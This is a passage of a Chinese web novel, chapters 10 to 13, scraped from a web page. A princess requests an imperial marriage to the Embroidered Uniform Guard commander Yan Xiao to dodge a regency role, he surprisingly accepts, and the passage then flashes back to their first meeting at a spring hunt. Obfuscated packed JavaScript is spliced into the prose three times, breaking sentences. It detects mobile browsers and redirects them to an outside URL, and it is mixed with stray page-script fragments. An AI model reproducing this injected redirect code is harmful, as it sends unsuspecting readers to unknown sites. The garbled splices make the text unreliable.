宋清晏慌乱之际,余光看见殿门前一抹绯红的衣摆晃动,随即俯身叩首,言辞诚恳道:“儿臣心悦于锦衣卫指挥使严霄,严大人,还望父皇成全。” 10. 第 10 章 闻言,宋清昀侧首看向门外候着的两名锦衣卫侍卫,若有所思。 严霄自考中了武进士之后又前往西北历练了几年,身上有军功在身,得圣上亲自提拔担任锦衣卫指挥同知,汪大人养病期间又代行指挥使一职。 锦衣卫直属皇帝,是皇帝手中的一把刀,自然为人也是信得过的。 宋清晏面上装得一片虔诚,似是没有任何犹豫,实则心如鼓擂。 她本就是情急之下脱口而出,原本还怕宋清昀追问,一瞬间在脑海中编撰了不少她对严霄一见钟情,再见生情,一片痴心感天动地的瞎话了。 毕竟从前她不止一次的在这个弟弟面前口无遮拦,也曾说过看不惯严霄的话,未曾想宋清昀低着头神色淡淡,倒是一语未发。 自打她无意间从锦衣卫的那个姓赵的小旗口中听闻严指挥使不近女色的消息后,这段时间她倒是也私下调查了些关于他的故事。 也确实如她所料,严指挥使生活规律,每天往返宫里与镇抚司。身边别说是个红颜知己,丫鬟女使,就是连母马都寻不见一匹。 其实两辈子加起来,她同严霄的交集也并不多。 年少时几次误打误撞的相遇,他们二人都默契地没给对方留下半点好印象,每一次都闹得不欢而散。 她嫌他不近人情,墨守成规,固执又无趣。 他厌恶她行事狂妄自大,娇纵任性,生活铺张浪费。 前世,一直到她受困别院无人问津之时,都未曾听说严霄有婚配的消息。 她身份尊贵,只要她开口京城中的适龄男子不论心中是否情愿,都不可能冒着得罪天家的风险拒婚。 但她赌严霄敢,他那个执拗的性子,最是厌恶被人逼他做他不愿做的事,更何况同他婚配的人又是她。 如此一来,她不仅能借严霄脱身,还无需草草将自己的一生交代给京城中的这些世家纨绔。 宋清晏一想到严霄接到圣旨后,神情会变得多么精彩绝伦,不由得窃喜。 一石掀起千层浪,不出半日靖和公主爱慕锦衣卫指挥使严大人,于御前跪请赐婚的消息传遍整个京城。 而深处舆论中心的宋清晏却在自己宫里翘着二郎腿悠闲地吃着点心,桌案上的半盘酥吃完了,宋清晏正想着叫人在帮自己备点,一抬头看见折竹和芷兰二人依旧还在原地擦拭着柜子上的灰尘,二人皆是一副心神不宁的样子。 宋清晏敲敲桌角,“你们俩是要准备把这个柜子翻新吗?” 折竹尴尬地笑了几声, 宋清晏道:“怎么了都一副魂不守舍的样子,有什么话直说吧!” 折竹搅动着手里的帕子,和芷兰对视一眼说,“那奴婢可就直说了?” 二人凑上前,一左一右围在宋清晏身侧。 “公主,你当真在圣上面前说了爱慕严指挥使的话?想要嫁给他?” 宋清晏点头,“没错。” 芷兰道:“就算公主您不想辅政监国,也不能如此草率地编出这种瞎话来呀!” 宋清晏道:“当时那种情景,我这不也是没办法吗!” “就算是如此,满京城这么多适龄男子,您怎么偏偏想起了严大人!” 折竹面露愁容,感慨道:“先不说从前的事,就说这两年,您不在宫里兴许不知晓。自圣上亲自提拔他做了锦衣卫同知之后,朝中多少官员遭到弹劾抄家,这严大人手段果决比起他养父汪擎可是有过之而无不及啊!” 宋清晏歪头想了想,“这是好事啊,锦衣卫不就是干这个的嘛!” 芷兰嫌弃地推开折竹,又说:“公主,折竹的意思是说这严大人铁面无情,想来不是个好相处的人,怕是不堪托付......” 宋清晏闻声笑了,“巧了,满京城各户人家都觉得我不够温柔贤淑,没有为人女为人妻的德行。” 折竹和芷兰对视一眼,不知自家主子怎么跟鬼迷心窍了一般,决心再上一剂猛药。 “公主,您前段时间叫奴婢们打听了关于严大人的事,传回来的消息不是说严大人不近女色,您就不担心......” 宋清晏:“担心什么?” “担心他有龙阳之好?” 闻言,宋清晏愣了半晌。 就在二人以为自己终于说服了自家主子时,没成想宋清晏笑得更开心了。 “那我们二人成了亲,岂不是同一屋檐下相安无事,各忙各的!” ...... 宋清晏本是想逗她们两个玩,见二人一脸菜色再也说不出话来,她收敛了笑宽慰道:“我知道你们是为我好,但你们就没想过这事兴许根本就成不了。就严霄那性子,要是有人逼着他娶他不喜欢的人,不比杀了他还难受。” 见她这样说,折竹眼中又燃起了希望。 “所以说,公主您一开始便也没打算嫁给严大人。” 宋清晏摆摆手,“我一个人逍遥自在,为何要早早入那内宅困顿一生。” 芷兰沉思了一会儿,还是担忧道:“可奴婢还是觉得公主此举太过冒险。” “你啊,就是太紧张了,”宋清晏伸了个懒腰,说:“且等着吧,严霄要是能答应,我倒着从宫里走出去!” * 北镇抚司今日依旧忙着审理谋逆案,协助三法司整理口供。 严霄亲自审问了何阁老的几个族兄,一上午的时间下来,他敏锐地察觉到今日镇抚司的气氛不太一样。 时不时的有些下属,同僚盯着他看,却在目光同他对视时故作忙碌地移开。 午膳时,他坐在书案前一边吃一边翻看着供词,没一会儿却见方才还坐地规矩的几个人端着饭凑到他身边来。 严霄一贯公私分明,平日里办起公务来严谨,不容差错。 私下他虽不是话多的人,却也不愿驳了同僚们的兴致。 他们这群人里头邵恒任职指挥同知,官职最高,一众人鼓捣着想让邵恒先开口。 邵恒挠了挠头,凑上前说:“春台,你听说了吗,靖和公主在御前求圣上赐婚了!” 严霄闭口咀嚼着口中的半根青菜,翻着书页的手指微微蜷缩,没有说话。 邵恒自顾自地又道:“我猜你这闷葫芦一天就知道审案子,肯定不知情。宫里宫外都传遍了,说公主与你少时相遇,一见钟情,此生非你不嫁呢!” 这倒的确是不是谣言,凭这浮夸的说辞严霄也能猜到是宋清晏说出来的话。 “我怎么不知道你和公主还有这一段往事呢?春台,你藏得挺深啊!” “就是啊指挥使,这么多年也没见你提起过哪家姑娘,原来身边早就有靖和公主此等佳人相伴了!” 严霄放下手中的碗筷,神色淡淡道:“玩笑之言,算不得数。” “怎么能是玩笑之言呢,御前,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921214|160353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是御前!”邵恒手舞足蹈道:“你是没见到,皇室中人乃至内阁阁臣都在场,公主亲口说的。原本圣上的意思是想封公主为护国公主,代行辅政监国。可公主为了你,把这么好的事都给拒绝了,这不是情根深种是什么!” “护国公主?”严霄一字一句看向邵恒。 “是啊!”邵恒感慨道:“要说这圣上还真是看好公主,辅政监国的权利都想交给她,古往今来以女子之身执政的那可都是了不起的人物!权力诱惑摆在面前,公主不为所动啊!” 严霄道:“盛名加身,亦会被盛名所累,未必见得是件好事。” “反正要是有人能为我做到这一步,我一定感动的五体投地!” 邵恒见严霄还是神色如常,仿佛置身事外一般,又道:“我们这么多人都在呢,难道还能诓你不成。春台,你且等着吧,不出三日赐婚的旨意便要下来了......” 话音未落,门外传来一阵嘈杂的脚步声。 赵小旗急匆匆地跑进来,“指挥使,司礼监的人来了,说有圣旨带给您。” 严霄当即搁了筷,起身前去迎旨。 邵恒朝身旁众人摊了摊手,“你看,我说什么来着!” 司礼监的冯掌印已经在门前等候,二人互相行了礼,冯掌印笑得柔和,“严大人,接旨吧。” 严霄于原地叩首,听见冯掌印道, “奉天承运,皇帝诏曰: 朕惟婚姻乃人伦之始,家国之基。今朕之爱女靖和公主,才华横溢,有勇有谋,性行纯善,德容兼备,承皇家之风范,具皇家之贵气。 锦衣卫指挥使严霄,出身忠良,才略出众,武艺高强,忠心事主,屡立奇功。其为朕分忧,为社稷效力,实乃国之栋梁。 朕观二人,郎才女貌,德才相当,若结秦晋之好,必成佳偶。特赐婚靖和公主与锦衣卫指挥使严霄,择良辰吉时完婚。望二人婚后,琴瑟和鸣,相敬如宾,同心同德,为皇室增光,为社稷添福。 钦此!” 四周静得听不见半点杂声,冯掌印上前几步,居高临下地用他们二人能听见的声音道:“严大人,咱家还带了圣上的另一道口谕。圣上说,大人若是不愿不会强人所难。” 严霄站起身,目光落在那卷圣旨上,就在冯掌印以为自己所料他会开口拒绝时,严霄躬身行礼, 坚定道:“臣,领旨谢恩。” 彼时,晏安宫内折竹一路疾行,奔至寝殿时,一把推开门将熟睡的宋清晏从床上拉起来。 “公主!大事不好了!” 宋清晏迷迷糊糊道:“什么?严霄跑了?” “哎呀,不是严大人!啊不对是严大人!严大人同意了!” 宋清晏只觉得恢复了一半的清醒,“同意什么了?” “赐婚啊!”折竹喊道:“今日中午,司礼监的冯公公亲自去宣旨,严大人接了圣旨了!” 这一句恍若天雷正中宋清晏脑袋,她不敢想象地瞪大双眼道:“什么!这厮同意了?” “是啊公主,你不是说严大人一定会拒婚的嘛......” 周遭的声音宋清晏已经听不进去了,她尚且还未能消化严霄为何会同意和她成亲这件事。 不应该啊! 她想不通啊! 宋清晏欲哭无泪,难不成严霄这厮心眼如此小,还为着从前捉弄他的事存心报复她呢? 11. 第 11 章 月黑风高夜,一辆马车赶在宫门下钥前离开。 马车一路沿着小道行至西巷一座府宅门前,停在了对面的柳树后。 倚梅掀开车帘的一角打量着,约莫等了半炷香的时间,宋清晏已经昏昏欲睡之时被晃动惊醒。 “公主,严大人回府了!” 宋清晏睁开眼凑上前看,只见严霄正迈入走进汪府,门前两个值夜的侍卫在他进去后随即提着灯,紧闭了府门。 顷刻间眼前的府宅融入一片夜色中,唯留正门两盏星点的灯笼带着亮光。 宋清晏打量了一会儿,不禁发出感叹,这汪府是不是看着有些太凄凉了? 按理说汪擎担任锦衣卫指挥使多年,手中权柄滔天,这么大的府宅怎么看着跟没人住一样。 倚梅颇有些赞同,“公主您忘了,严大人是汪指挥使的养子。汪指挥使发妻死于难产,一尸两命,想是这么多年没再续弦。这府里只有严大人父子二人,冷清些倒也正常。” 经倚梅提醒宋清晏想起来自己刚认识严霄时,便常常见他是孤身一人,后来有了几次死里逃生的交集才得知,他父亲当年含冤而亡,母亲不久后也郁郁而终。 从前每每同严霄有过交集,都觉得他冷冰冰的如同一颗顽石,拒人于千里之外。 现在想想自己当初追着严霄,孜孜不倦得问他和汪指挥使的关系,他没乱剑砍死她当真是好脾气。 “公主,严大人已经回府了我们还不走吗?” 宋清晏反问:“还没开始呢走什么?” 倚梅原以为公主叫她套马车出宫,就只是单纯的想看看严大人接下旨意后的状态,直到她扶着公主爬上汪府的院墙,坐在人家的房顶上时,才发觉自己终究是把事情想得太简单了。 才刚在房顶坐稳,一阵米香混合着炒菜的香味便自下而上的传过来。 宋清晏低头看过去 ,见院内汪擎正坐在轮椅上,对月独酌。 她们所在的房顶下,严霄端着两碟子菜走到汪擎身边的石桌上放好,并将臂弯上的氅衣披在汪擎身上。 此时的严霄未像往常一样穿着一丝不苟的官服,取而代之的是一身素色的宽松衣衫,摘了冠长发漆黑,于月光下长身而立,腰背线条流畅,优美而有力。 她从未见过这般模样的严霄,神态放松,似乎连轮廓都柔和了几分。 灯下看美人,别有一番趣味,更何况这是月光下。 宋清晏托着腮,安静地看院中的父子二人饮酒碰杯,唠着家常。 这父子俩倒还都是醉心于公务之人,三句话离不开审案子,宋清晏正听得有些不耐烦时,恍惚间像是从中听到了汪擎提起自己名字。 她侧耳朝下面边看边听得认真, “你平素跟靖和公主并无交集,此次御前公主突然请求赐婚,恐有不妥。” 汪擎饮了杯中剩下的半杯酒,徐徐道:“靖和公主同其他公主不一样,与其说是圣上的掌上明珠,不如说是圣上的一面镜子,又像是身上的一把利刃。许多事,圣上身为一国之君不能做,也不便做,而公主做起来却游刃有余。” “当年她设计击鼓案直指太后母家,西北军营里她又一剑斩杀监军太监,这些恰好你当时也在场。这么多年靖和公主婚嫁之事一直未能定下,霄儿,你要明白像公主这样的人,眼界已然超出宅院至家国天下,且她早已经深陷政治漩涡,难以脱身了。” 闻言,宋清晏呼吸跟着乱了两拍。 她似乎有些期待严霄听了这话后会作何反应,只可惜他坐的位置背朝于她,宋清晏看不清严霄地表情。 “父亲说的这些,我明白。” 汪擎侧首看向严霄,随即叹了口气。 “你这孩子从小就是这幅执拗的性子,有什么事喜欢搁在心里。也罢,这些年也不见得你身边有个适龄的姑娘,圣旨既然已经下了,以后的路还需你自己清醒着走......”、 房顶上的宋清晏双手掩面,欲哭无泪。 她本是来亲自探探严霄是何态度,来之前还心存幻想,这么大的事兴许当时在北镇抚司严霄不好公然拒婚。 万一同家里商议过后,觉得这笔买卖不划算呢? 没成想几年过去了严霄这厮个子长了不少,胆子却不如从前了,终身大事被人如此草率的做了决定,都不挣扎一二的。 坐在这屋顶上吹了半宿冷风,宋清晏觉得心里愈发凄凉了。 一旁的倚梅见她脸色红一阵白一阵的,询问道:“公主,你在想什么呢?” 宋清晏:“我在想明天倒立从宫里走出去,怎么才能不被人看见。” 忽然,她眼前一白,一片柳叶朝着她所在的方向飞来,旋即院中一声呵斥:“何人?” 要命了,被发现了! 逃命这事儿宋清晏乃是轻车熟路,拉着倚梅向后迅速翻身滚开到房檐一侧,顺着墙壁滑落下去。 弃了马车一路狂奔后,见无人追过来,二人这才放心停下来喘息。 半晌后,倚梅叹息道:“公主...咱们下次......还是别做这种不体面的事了......” * 宋清晏自回来后,将自己裹成了个粽子躺在寝宫里消沉了几天。 她遇任何事,心里倒也不会真急,静下来缓一缓总会有办法的。 午时,芷兰推门进来,朝床榻上看了看开口道:“公主醒了吗?倚梅带着锦衣卫过来了,说是...” 话说了一半,床榻上的宋清晏捂住了耳朵,她现在已经不想听见关于锦衣卫的半个字眼。 芷兰无奈地笑了笑,随即上前几步坐在床榻边安抚道:“好公主,这回真的是好事!公主要找的那个江湖大夫找到了,倚梅的表哥葛千户已经带着人进京了!” “什么!” 宋清晏登时坐起。 锦衣卫最擅长找人,没想到不过半月的时间还真叫他把人给找到了。 永嘉帝宋澜的身子是忧思过重,过度劳累拖垮的。 太医院的人一个个的怕担责任,治疗的方法都十分保守。前世宋清晏在外游历时偶然间听人提起这名大夫的名号,不远千里去寻,将父皇的情况说明这位陈大夫倒是给出了几个治疗方式。 尚未等她将人妥善带回京,谋逆一事便来得突然,京城危在旦夕。 不得已她远赴西北千里调兵,危机虽被解除,但经此一事父皇病的更重,将朝政交给他们姐弟二人后没多久便崩逝了。 眼下人寻到了,宋清晏又重新燃起了希望。 “速去将人安置好送至太医院,方子开好后也需交由胡太医们审理一遍。和陈大夫说一切需要尽快提,待父皇病情好转我登门拜谢。” “是公主,奴婢记下了。” 宋清晏说:“葛千户近来辛苦了,帮我备些薄礼给他送过去带给家里人吧。” 芷兰道:“应当是来不及了,葛千户带人回京后便又离开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“更不要和我说什么你有苦衷的这种话,”宋清晏打断他,说:“我知这么多年你因为太妃一直处处受太后牵制,可事在人为,有那么多条路,你偏偏选了和太后同谋。今日这个结果,你不仅要承受,更要感恩戴德。” 闻言,宋濯苦笑着将她说的话在口中反复念着,“有那么多条路啊...可惜啊没有回头路了......” 宋清晏侧首看着他,深深地叹了口气。 是非对错到此已然了结,人生终究是没有回头路可选,总要为自己当初的莽撞付出代价。 所幸,她们都还活着。 人总得是活着才有力气去争,而不是为了争才活着。 背负着仇恨的日子她前世已经经历过了,如今的她只想逍遥自在享受属于自己的崭新生活。 宋清晏策马前行几步,张开双臂感受着迎面而来的春风,闻着空气中淡淡的海棠花香。突破牢笼,迎来新生。 正神游天外之时,耳边传来一道不合时宜的声音。 “公主,前面弯路当心脚下。” 恍惚间宋清晏甚至怀疑自己幻听了,猛地睁开眼看见一张若如刀斧般雕刻的侧脸出现在身侧。 她定睛一看,这不是严霄还是谁。 “你怎么跟过来做什么?” 严霄策马慢她半个身位,神色如常。 “臣奉圣上旨意,协助公主押送逆党回裕州。” 宋清晏:“......” 12. 第 12 章 其实仔细想来,在她人生的每一个重大的节点,都有严霄的身影出现。 他们二人即便是做不成志趣相投的朋友,但也算有几次同生死,共患难的情谊在。 宋清晏想起当年她第一次见到严霄,也是在一个这样的一个春天。 永嘉十三年,春三月。 正值草长莺飞之际,曾经因战乱而荒芜的土地经过十年的休养生息,重新恢复了生机。 集市中摊贩的吆喝声此起彼伏,百姓穿梭在其中,脸上洋溢着笑容。 江河之上,舟楫繁忙,满载货物的船只穿梭如织,两岸的村庄炊烟袅袅,一片繁荣昌盛之象。 皇帝在这一年的年初便早早定下了春猎的日子,而宋清晏因上元节溜出宫猜灯谜时,同东昌侯府二公子起了争执被罚禁足,若不是借着围猎的机会还不知要在宫里再关上多久。 这是宋澜登基以来最为声势浩大的一次皇家围猎,自他执政以来,每日勤勉,宵衣旰食,没过过一天舒心日子。 韬光养晦十数载,如今他早已不是当初那个饱受争议,如履薄冰的帝王,大梁也逐渐走向国富民强。 先帝在世时,本不属意她爹爹宋澜。 先帝戎马一生,以武功见长。 而宋澜自幼身弱不精于骑射,反倒喜静好读诗书。在他看来,他这个儿子宋澜手无缚鸡之力不说,读书更是将性子读迂腐了,行事妇人之仁优柔寡断。 奈何六子相争,皆不得善终。 皇位一时无人可继,便落到了宋澜头上。 宋澜登基后,朝中质疑之声不断,推行新政屡次受阻。 邻国听闻皇帝不善骑射,行事更是傲慢无礼,将大军盘踞于山下屡有进犯之意。 宋澜少时从不曾有夺嫡之意,在朝中更是无半点亲信,无奈只能向以太后为首的世家旧臣低头。 养精蓄锐多年,宋澜决心在这一年着手准备春猎,召集整顿兵马,检阅武力,向朝野上下树立君威的同时,震慑周边蠢蠢欲动的势力。 伴随着号角声,禁卫军开道,长枪如林步伐整齐划一。 文官峨冠博带,武将披坚执锐,百官扈从簇拥着天子銮驾,锦衣卫护卫随从,队列蜿蜒似长龙。绣着祥龙瑞兽的旌旗在风中烈烈作响,车马辚辚,扬起的尘土如云雾,声势浩大直向猎场而去。 宋清晏和一众皇室宗亲们也一同伴驾春猎,出席祭祀典礼。 新绿初绽,嫩草铺展。 树木抽芽,枝叶在微风中轻摇,翠影斑驳。 一泓春水波光粼粼,似明镜倒映着蓝天。 飞鸟振翅,于空中盘旋,时而俯冲入林,惊起簌簌声响。空气中弥漫着花香与泥土的芬芳,混合成春猎场独有的气息。 宋清晏身着绯红色窄袖猎装,她在这一年个子窜的快,已然超过了她母后郑皇后。谈笑间眼尾向上挑的弧度刚刚好,多一丝便是风情,少一丝却是寡淡。这一身艳丽的红衣,眉眼含笑颇有几分少女英气风姿绰绰的味道。 刚一出营帐,一脚踏上郊外的草地,她猛吸一口空气感慨道:“折竹啊,你知道这猎场同皇城相比多了什么吗?” 折竹整理着包裹,漫不经心道:“什么?” “自由!” 宋清晏摊开手臂,舒展着筋骨,“正是这几个月亏欠我的自由!” 折竹猜到她又要借着围猎胡作非为一番,愁苦道:“公主,若不是围猎您这会儿还出不来呢,咱们就当出来散散心,莫要张扬生事了。” “这是什么话,”宋清晏试着手里的弓道:“本公主行事又怎能叫做张扬,那叫实力!” 看着折竹满面愁容的模样,宋清晏侧首又宽慰道::“你放心,我只是想在围猎打几只好的野物,做些物件送给父皇母后。围猎嘛,都是看真本事,他们若是技不如人输给我,也不能算做我欺负了他们不是?” 宋清晏抬眼朝后方看过去,猎场上世家子弟们约莫年长她几岁。 身着华服却毫无英气,嬉闹喧哗,骑在马上东倒西歪,拉弓时手都在颤抖,箭射出便不知去向,空有一副好皮囊,实则皆是一群酒囊饭袋之辈,肩不能挑手不能扛,下个轿子都需人搀扶。 平日里靠着三五成群靠着互相吹捧打成一片,年前那个被她暴揍的东昌侯府二公子,仗着自己家世好在京城大街小巷横行霸道,欺压百姓。 她不过是将他吊在树上吓唬他几下而已,便哭天抹泪险些吓尿了裤子,平白害她被禁足了这么久,当真是无趣。 宋清晏收回视线看向远处,神情逐渐变得认真,目光锐利,手中长弓拉满,随着“嗖”的一声,利箭精准命中靶心。 年少之辈,是朝廷指日可待的希望,不该是他们这般模样。 * 翌日清晨,皇帝宋澜携皇室宗亲,文武百官行过祭祀礼后,坐镇春猎主场。 这些年他日夜操劳,身体状况早已经不能支撑起他骑马出猎,大臣们顾及皇帝颜面便提议让年轻一辈有展示的机会,去猎场博个彩头。 此提议一出,苦了一部分养尊处优的公子哥们。 原本他们只是借机出来玩乐,跟着浑水摸鱼便罢了,没成想要在众目睽睽之下较个高低。 北郊猎场一马平川的尽头是延绵的树林,此处常年安排专人护理,专供围猎以及光禄寺使用,即便是初春放出的大小猎物不在少数。 东昌侯府二公子魏臻在侍卫的搀扶下上了马,捏着缰绳逛逛悠悠地朝丛林深处出发。新弓难拉,在马上费力拉扯了好一会儿方才放出一箭,那箭软绵绵地掉在地上,左右见状忙别开眼当做无事发生。 魏臻打量着手中的弓箭,觉得无趣至极。 他本就不善骑射,此番也是家里逼着前来,若是排个末数少不了也要被奚落一顿。 正烦闷时,听见身后一阵嘈杂的马蹄声逼近。 魏臻回首,见一身着华服的公子端坐于赤色宝马之上,左右侍卫吹捧喝彩之声不断。 离得近了,方才发现这马背上满面春风的小公子正是户部尚书何鸿飞之子何昌言。 魏臻打马过去,见何昌言身边侍卫手上拎着满满的猎物,不由得惊叹道:“何兄!许久不见你箭法竟有这般长进!” 何昌言看清来人立刻笑道:“嗐,二公子,你这人什么都好就是太老实。围猎嘛,看得是最终结果,至于过程如何是不是亲自猎的,不重要。” 魏臻四下打量一番,见何昌言身后跟着一个身穿单薄素衣个子高挑的眼生少年,目光落在这少年人素衣包裹着的宽阔脊背上,方才品出他话里的意思,惊诧道:“你这不怕被人发现,告你一个欺君之罪?” 何昌言勾唇笑了,“我爹乃户部尚书兼内阁次辅,我姑母是当朝太后,今日来此围猎的有一个算一个,谁敢在圣上面前提一个字,那便是不要脑袋了......” 他回首,看向身后神色淡漠的少年,一字一字道, “你说是吧?丧家犬?” 见少年不语,何昌言晃着手里的马鞭厉声道:“还不快去猎鹿,此番若是没拿到一甲第一名,我要你好看!” 素衣少年垂下眼眸,握紧缰绳朝丛林深处驶去。 见人走远了,魏臻朝何昌言身边靠了靠,询问道:“这人谁啊,从前没见过啊?” 看着模样不像亲卫家仆,衣着打扮也不像是京中哪家公子。 “他啊,”何昌言冷笑道,“一个罪臣之后丧家之犬罢了,汪擎念着从前的情分留他口饭吃,整日拉着个脸端着副清高相,还真以为自己能像戏文子里的角一样能逆天改命呢。” 黎民百姓之所以庸庸碌碌地操劳一生,就是看不清真相,总以为命运掌握在自己手里,依靠勤奋得以实现。 殊不知他们的人生,一贯都是掌握在看戏人的手中。 魏臻看着那人远去的背影,想起方才对视时那少年冰凉的眼神,有些有心道:“凭你的骑射功夫,自己也能取得佳绩,何必寻他呢。” “如今的圣上早已经不是初登基时,对我姑母言听计从的模样了。” 何昌言拉着缰绳朝丛林深处悠悠前去,“去年姑母多次在圣上面前撮合我与郑家姑娘的婚事,都被圣上找理由搪塞了过去。此番围猎正是我讨赏求赐婚的好时机,当今天子总不能在文武百官面前言而无信吧......” 待到一行人走远后,宋清晏方才黑着脸从树林深处走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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何昌言被突如其来的变故惊地忙唤着自己的家仆,无奈带来的人此时散落在四处追逐着野物,叫天天不应,叫地地不灵。 如此悬空着折腾了半晌,何昌言泄了气,没了往日公子哥的体面,声嘶力竭地呼喊着救命。 树林的背后,方才与何昌言同行的素衣少年闻声而来,临近时突然驻足于原地止步不前。 少年打量着半空中吊着的何昌言,苍白的脸上看不出情绪。 良久后,他拎着手中猎到的野鹿悄无声息地离开,顺道骑上了何昌言留在河边的马,带走了全部猎物。 倚梅埋伏在周围的人发现有人携着猎物朝主账方向赶过去,误以为是计划失败叫何昌言逃过一劫,忙启动了第二道陷阱。 一根麻绳冒土而出,飞驰而来的马匹来不及躲避,连人带马侧摔下来。 此地是下坡,马背上的人没带任何防护,一路滚落下来掉进河中央。 原本以为按照公主的要求,将人设计地摔了个人仰马翻,又掉进河水里滚了一遭,已然是狼狈至极,足已回去和公主复命了。 没成想这人竟是个怕水的,挣扎了几下后居然不动了。 这下反倒是他们害怕了,倚梅一边带着人前去搭救,一边叫人去给公主报信。 彼时,宋清晏正和折竹她们在烤兔子肉,见观菊急匆匆地赶来,她询问道, “成功了?让那姓何的先吊着吧,好好丢一丢他老子的脸面。” 观菊气喘吁吁,道:“不是公主,抓错人了!您快去看看吧!” 宋清晏到时,倚梅已经带着人从河里捞出一个浑身湿漉漉的人,正按着着这人胸腔企图将水逼出来。 宋清晏凑上前探头去看,只见被救上岸的少年,湿发贴在额头,水珠顺着下颌滑落。他的脸色惨白如纸,却衬得五官愈发立体。 高挺的鼻梁在惨白肤色的映衬下格外醒目,紧闭的双眼,长睫湿漉漉地交织在一起,如同一幅被水洇湿的水墨画般的好看。 宋清晏一时有些摸不清楚头脑,抬手指了指昏迷着的人,磕磕绊绊道, “倚梅啊,这河里怎么掉了个天仙?” 13.第 13 章 薄暮时分,参与围猎的一行人尽性而归。 官员清点每人的猎物,何阁老稳坐高台,神色中带着得意。 众目睽睽之下,官员宣布获得一甲第一名的人是靖和公主,宋清晏。 群臣哗然,朝中人尽皆知当今圣上不善骑射,皇子又尚且年幼。甚至私下嘲讽,昔年太祖以武功见长,兴许到这一任皇帝这儿便断了。 没成想公主女子之身,尚且十来岁的年纪里能得此佳绩,当真是巾帼不让须眉! 文武百官齐颂公主有太祖当年风采,宋澜听着一众夸赞满意地点了点头。他招了招手,示意宋清晏过来。 宋清晏搁了弓,上前几步跪在宋澜前面唤了一声,“父皇。” 一片称颂声中,宋澜屹立在高台之上,俯视台下众臣,侧首打量着自己的女儿,只觉得眼眶逐渐酸涩。 身为人父,他何尝不知道这几年里宋清晏练习弓马吃了多少苦。 他更明白,女儿日夜勤勉,为得就是给他这个父皇长士气,立威信,让天下人看见王朝更替到他这一代并没有垮掉,年轻一辈更是朝廷指日可待的希望。 宋澜拉起宋清晏的手,轻轻抚摸着她虎口的茧子。 良久后,他道:“我儿辛苦了,此番摘得榜首想要什么奖励?” 闻言宋清晏抬起头,笑得灿烂,“儿臣什么都不缺,但的确有个心愿希望父皇能应允。” 宋澜道:“好啊,说来给父皇听听!” “父皇忙于朝政,已经许久没和儿臣一起吃团圆饭了。儿臣斗胆,今夜请父皇早些离席,陪儿臣一起用膳。” 宋澜没想到竟是这样简单的心愿,惊讶之余带着几分欣喜,他看着左右的内阁臣子们笑了笑,说:“不论多大了还是像个孩子啊。” 荀太傅眉目柔和,伸手捋了捋胡须,“难得今日月色这么好,公主又一片孝心,圣上便答应了吧,我们这些人也正好借此机会不醉不归。” 一众欢笑声中,宋清晏抬起头,朝一旁坐着面色阴郁的何阁老挑了挑眉。 宴席开始后不久,席面上觥筹交错,其乐融融。 宋清晏一路小跑至西营,迈入皇后营帐时,看见她母后正在桌案前整理旧籍。 她忙上前一把拉起郑皇后道:“哎呀母后,你怎么还在这儿摆弄这些玩意啊。” 郑皇后被她晃得头晕,忙制止道:“母后刚从席面上回来,跟着你父皇一同和臣子们宴饮庆祝,这会儿正头晕呢,你快别晃了。” 宋清晏依旧不依不饶地拉着郑皇后起身,“今天这么高兴的日子您就别窝在帐子里了,我带你去找父皇。” 郑皇后不解道:“你父皇这会儿正忙着呢,哪顾得上我们啊,你不要闹了。” “哎呀母后,你就听我的我吧,我都安排好了!” 宋清晏翻出郑皇后行李中那条明艳的石榴金丝裙,并将母后的头发挽成未出阁时的少女髻。随即拿过铜镜对着看了看,满意道:“母后这幅打扮,父皇看了一定会眼前一亮的!” 郑皇后看着铜镜中的自己,同她十六七岁还做姑娘时的装扮别无二致,她看了又看,恍惚间有些唏嘘岁月匆匆,旋即又欲动手摘下发髻。 “快散下来吧,这幅模样让人瞧见了像什么样子!” 宋清晏拦住母后的手,像变戏法一般不知从哪拿出来一个斗笠,神采飞扬道,“母后别怕,鸢鸢都安排好了,今夜您就把什么宫闱规矩,礼仪体统的放一放,只安心做你自己就好。” 郑皇后一时间有些哭笑不得,“你这到底要做什么呀?” “到了你就知道了!” 宋清晏带着郑皇后沿着小路行至莲花台,白日里她叫人收拾了一番,此刻明月当头,莲花台上挂着上百个花灯,远远地看过去如同满天繁星倒影在水中央。 为了掩人耳目,她还叫折竹和芷兰一前一后跟在郑皇后身侧,让人以为斗笠下的人是宋清晏。 郑皇后看着眼前的美景,又看了看宋清晏,正欲张口,听见宋清晏道, “母后莫怕,你且再向前几步,父皇就在那儿等着你。” 郑皇后闻言,提着裙摆登上石阶行至尽头时,见身着明黄十二章的宋澜正缓缓转身,同她对视。 在看清斗笠下的人的模样时,眼中亦是闪过一抹惊艳。 视线交织时爱意如潮水般蔓延开来,望向彼此的眼中满是缱绻。 宋清晏于廊下打量莲花台上的两个人,满意地笑了笑,随即转身回了西营。 * 夜色沉沉,帐篷里的火盆燃烧的正旺,宋清晏在窗前看了一会儿地形图困意便涌了上来。 父皇和母后正在享受这些年来为数不多的,独属于宋家四郎和郑三娘二人时光,一时半会儿不会回来。 为避口舌是非,她今夜宿在母后的营帐里,装作母后从不曾出去的模样。 